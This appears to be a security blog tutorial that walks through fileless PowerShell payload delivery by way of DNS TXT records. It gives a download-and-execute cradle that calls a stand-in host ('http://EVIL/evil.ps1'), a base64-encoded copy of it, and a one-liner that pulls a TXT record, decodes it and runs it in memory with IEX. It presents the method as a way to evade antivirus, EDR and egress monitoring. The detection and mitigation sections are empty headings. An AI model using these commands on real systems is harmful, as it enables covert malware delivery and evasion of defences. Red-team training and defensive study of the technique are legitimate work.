Zerotrace Logs

PowerShell File Transfer via DNS Lookup

File transfer via DNS

Overview

This writeup demonstrates a fileless payload delivery technique using DNS TXT records and PowerShell. By leveraging DNS as a covert channel, we can execute malicious code entirely in memory without writing files to disk, bypassing traditional security controls that monitor file-based activity.

What you'll learn:

Prerequisites

Before starting, ensure you have:

⚠️ Legal Notice: This technique is demonstrated for educational purposes only. Unauthorized access to computer systems is illegal. Always obtain proper authorization before performing any security testing.

Understanding the Attack Chain

Why DNS for File Transfers?
Attackers leverage DNS for data transfer because it's one of the few outbound protocols almost always allowed through firewalls. By embedding payload data inside DNS queries or responses (like TXT records), they can bypass network egress restrictions or detection systems that monitor HTTP/HTTPS or FTP traffic. DNS is "noisy but trusted," making it ideal for covert communication or command and control.
Why Base64 Encoding?
Base64 encoding doesn't encrypt the payload; it simply transforms binary data into ASCII text. This serves several purposes:
Why In-Memory Execution?
Executing payloads directly in memory (fileless execution) avoids writing to disk, where most antivirus and EDR tools monitor and scan. Memory-only execution helps evade signature-based detection and leaves minimal forensic artifacts, allowing attackers to operate stealthily with a reduced intrusion footprint.

Step-by-Step Implementation

[Step 1] Create Your PowerShell Payload

First, create a simple PowerShell script that will serve as your payload. For this example, we'll create test.ps1:

IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

Note: This is a simple example that downloads and executes another script. In real scenarios, payloads can be much more sophisticated.

[Step 2] Convert Payload to Base64

To embed our payload in a DNS TXT record, we need to convert it to Base64 format. Use the following PowerShell command:

[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\\Users\\peter\\Desktop\\test.ps1"))

This command reads the entire file as bytes and converts it to a Base64 string that looks something like:

Base64 conversion screenshot

SUVYIChOZXctT2JqZWN0IE5ldC5XZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKCJodHRwOi8vRVZJTC9ldmlsLnBzMSIp

Important: Copy this entire Base64 string; you'll need it for the next step.

[Step 3] Create DNS TXT Record

Now we'll embed our Base64-encoded payload in a DNS TXT record. Log into your domain registrar (Namecheap, GoDaddy, Cloudflare, etc.) and create a new TXT record:

You can use any domain registrar you prefer; in this example, I used Namecheap.

TXT record screenshot

The TXT record should look like:

domain.com    TXT    "SUVYIChOZXctT2JqZWN0IE5ldC5XZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKCJodHRwOi8vRVZJTC9ldmlsLnBzMSIp"

Pro tip: Some registrars have character limits for TXT records. For larger payloads, you may need to split them across multiple TXT records or subdomains.

[Step 4] Validate DNS Configuration

Before proceeding, verify that your DNS record propagated correctly using nslookup:

nslookup -querytype=txt yourdomain.com

nslookup validation screenshot

You should see your Base64 payload returned in the response. DNS propagation can take anywhere from a few minutes to 48 hours, though it's typically quick with modern DNS providers.

[Step 5] Execute the Payload

Finally, use this PowerShell one-liner to query the DNS TXT record, decode the Base64 payload, and execute it in memory:

Replace DOMAIN NAME with your domain (e.g., example.com).

IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(((nslookup -querytype=txt "DOMAIN NAME" | Select-String '\".*\"') -split '\"')[1])))

Command breakdown:

Detection and Mitigation

🛡️ For Defenders: Detection Strategies

🛡️ For Defenders: Mitigation Techniques

⚔️ For Red Teamers: Operational Security

Key Takeaways

This technique demonstrates how PowerShell can execute code entirely in memory without writing to disk, using DNS as a covert delivery channel. By retrieving and decoding commands from a DNS TXT record and executing them with IEX, we create a fileless, multi-stage execution chain that:

Understanding both the offensive technique and defensive countermeasures is essential for modern security professionals.